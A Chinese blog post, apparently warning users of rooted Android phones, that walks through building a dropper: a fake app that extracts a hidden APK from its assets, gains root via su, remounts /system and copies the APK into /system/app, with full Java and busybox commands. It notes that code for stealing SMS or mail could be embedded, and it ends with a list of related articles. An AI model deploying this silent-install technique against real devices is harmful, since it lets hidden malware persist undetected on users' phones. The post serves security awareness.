android手機root後的安全問題 (一)
http://blog.csdn.net/su1216/article/details/7928724
前提:你有一部已經root的android手機,並且手機中有busybox和superuser
導讀:本文介紹一種簡單的病毒以及如何“防禦”。
寫本部落格的原因是:有無數使用者覺得root沒有什麼風險,或者風險不會降臨到自己頭上。這裡告訴大家,其實風險就在身邊!
這裡講的內容其實對於大多數開發者都不是什麼新鮮的事情了,使用的技術也非常一般和普遍。
雖然大家都知道可以這樣這樣,但是還是隨意下載軟體,不加小心,就會掉入陷阱。
有些人覺得,只要我下載軟體的時候檢查軟體所申請的許可權就好了,其實沒有那麼簡單。
我們來看看如果一個軟體,獲得了一次root許可權,那麼它可以作些什麼呢?
好吧,我們先來一次“靜默安裝”!
原理很簡單,基本上相當於把apk push到手機裡面,兩個選擇
data/app
system/app
如果我是病毒軟體,我肯定選擇push到system/app
我們需要製作兩個apk,一個是真正目的的(病毒,real.apk),另一個是假的殼子(fake.apk)
首先先製作real.apk,我們只是用來測試,所以這個apk沒有什麼實際內容(由於這裡無法上傳附件,請移步到 http://su1216.iteye.com/blog/1668734 下載real.apk)。
real.apk裡有一個receiver,用來監聽開機的廣播
android.intent.action.BOOT_COMPLETED
還有一個activity,沒有什麼實質內容,然後編譯出apk,待用。
下面來製作殼子
新建一個android工程,將之前的real.apk複製到assets目錄下
然後新建一個activity來測試
這個殼子的很簡單,它只負責把真實的應用安裝到使用者手機中,我們再細分一下,首先,將檔案assets/real.apk提取出來,放到自己的私有目錄中,在本例子中的目錄為data/data/com.example.fake/files,這一步是不需要任何許可權的
prepareButton.setOnClickListener(new View.OnClickListener() {
public void onClick(View v) {
File dataFolder = getFilesDir();
File jar = new File(dataFolder.getAbsolutePath() + "/real.apk");
copyFile("real.apk", jar, mResources);
}
});
其中copFile函式見附件(就是一個簡單的io讀寫操作),這裡只給出虛擬碼
InputStream myInput = null;
try
myInput = resources.getAssets().open(filePath);
……
catch
……
finally
……
第一步已經完成了,下一步請求root許可權,然後將real.apk惡意安裝給使用者。
這裡需要使用到busybox,命令如下
busybox mount -o remount,rw /system busybox cp /data/data/com.example.fake/files/real.apk /system/app/real.apk busybox rm /data/data/com.example.fake/files/real.apk
之所以使用busybox,是因為手機裡面可能沒有mount、cp、rm等命令(我的手機裡面就沒有)
當然superuser需要同意你使用root許可權
至此,你的入侵行為已經全部完成!
installButton.setOnClickListener(new View.OnClickListener() {
public void onClick(View v) {
String packageName = getPackageName();
String[] commands = {"busybox mount -o remount,rw /system",
"busybox cp /data/data/" + packageName + "/files/real.apk /system/app/real.apk",
"busybox rm /data/data/" + packageName + "/files/real.apk"};
Process process = null;
DataOutputStream dataOutputStream = null;
try {
process = Runtime.getRuntime().exec("su");
dataOutputStream = new DataOutputStream(process.getOutputStream());
int length = commands.length;
for (int i = 0; i < length; i++) {
Log.e(TAG, "commands[" + i + "]:" + commands[i]);
dataOutputStream.writeBytes(commands[i] + "\n");
}
dataOutputStream.writeBytes("exit\n");
dataOutputStream.flush();
process.waitFor();
} catch (Exception e) {
Log.e(TAG, "copy fail", e);
} finally {
try {
if (dataOutputStream != null) {
dataOutputStream.close();
}
process.destroy();
} catch (Exception e) {
}
}
}
});
}
重啟手機之後,real.apk就能工作了,它會接收到開機廣播
如果你嵌入了更惡劣的程式碼,比如偷發簡訊,竊取郵件,那麼使用者也是很難察覺的
real.apk在settings中會顯示在系統應用中,使用者不太會懷疑,即使懷疑了,他們也不敢輕易解除安裝!誰讓他們自己隨意刷rom呢,每個rom整合的軟體都不一樣。
如何防禦?!
我不知道如何防禦,最簡單的辦法就是,解壓你來路不明的apk檔案,看看assets檔案下有沒有什麼可疑檔案。當然,病毒可能會去掉或者修改檔名的字尾!
相關文章
- 如何解決 oppo 手機 root 的問題
- android判斷手機是否rootAndroid
- Android手機獲取Root許可權Android
- android手機安全:被攻陷的一個場景Android
- Android程式碼判斷手機是否已rootAndroid
- 解決android有的手機拍照後上傳圖片被旋轉的問題Android
- 小米手機 root 教程
- Delta Magisk root後解決adb的報錯問題
- 一個關於/root/.gvfs的問題解決?
- solaris修改root shell後無法登陸的問題解決
- 採坑之Android手機訪問相簿許可權問題Android
- 手機端跨域問題跨域
- web安全機制問題詳解之一:XSSWeb
- 通俗易懂!一文看懂手機Root的操作與防護
- 安卓手機不能ROOT怎麼辦?安卓
- click事件在蘋果手機失效的問題事件蘋果
- Access denied for user ‘root‘@‘localhost‘問題的解決localhost
- root.sh最後出現"failiure at final check of oracle CRS stack 10"的問題AIOracle
- 谷歌未來或強制Android手機加密:讓手機資料更安全谷歌Android加密
- 記一次安卓手機水印顯示問題的排查歷程安卓
- iPhone手機和Android手機的對比iPhoneAndroid
- Android APP安全問題應對辦法的探討AndroidAPP
- WDS:Android使用者手機問題14%與硬體故障有關Android
- 兒童智慧手錶行業安全問題報告行業
- 如何從手機中提取apk,無需rootAPK
- Android Wear智慧手錶:一款脫離手機的智慧手錶Android
- 解決AIX忘記root密碼的問題AI密碼
- vsftp無法使用root登陸的問題FTP
- 部分 Android 手機硬壓視訊和 IOS 播放器不相容的問題AndroidiOS播放器
- 漏洞問題嚴重 谷歌、三星將每月為安卓手機推安全更新谷歌安卓
- [Android手機]教程:修改安卓手機…Android安卓
- Android 安卓手機及平板虛擬鍵盤遮住底部導航欄問題Android安卓
- Ubuntu下android手機通過usb連線電腦,顯示"???????????? no permissions"問題UbuntuAndroid
- web前後端開發不得不聊的安全問題Web後端
- [Android] Toast問題深度剖析(一)AndroidAST
- 理解Cookie和Session機制,及其安全問題CookieSession
- 使用sql*plus時的一個安全小問題SQL
- 務必警惕這種Android軟體它能祕密獲取你手機的Root許可權Android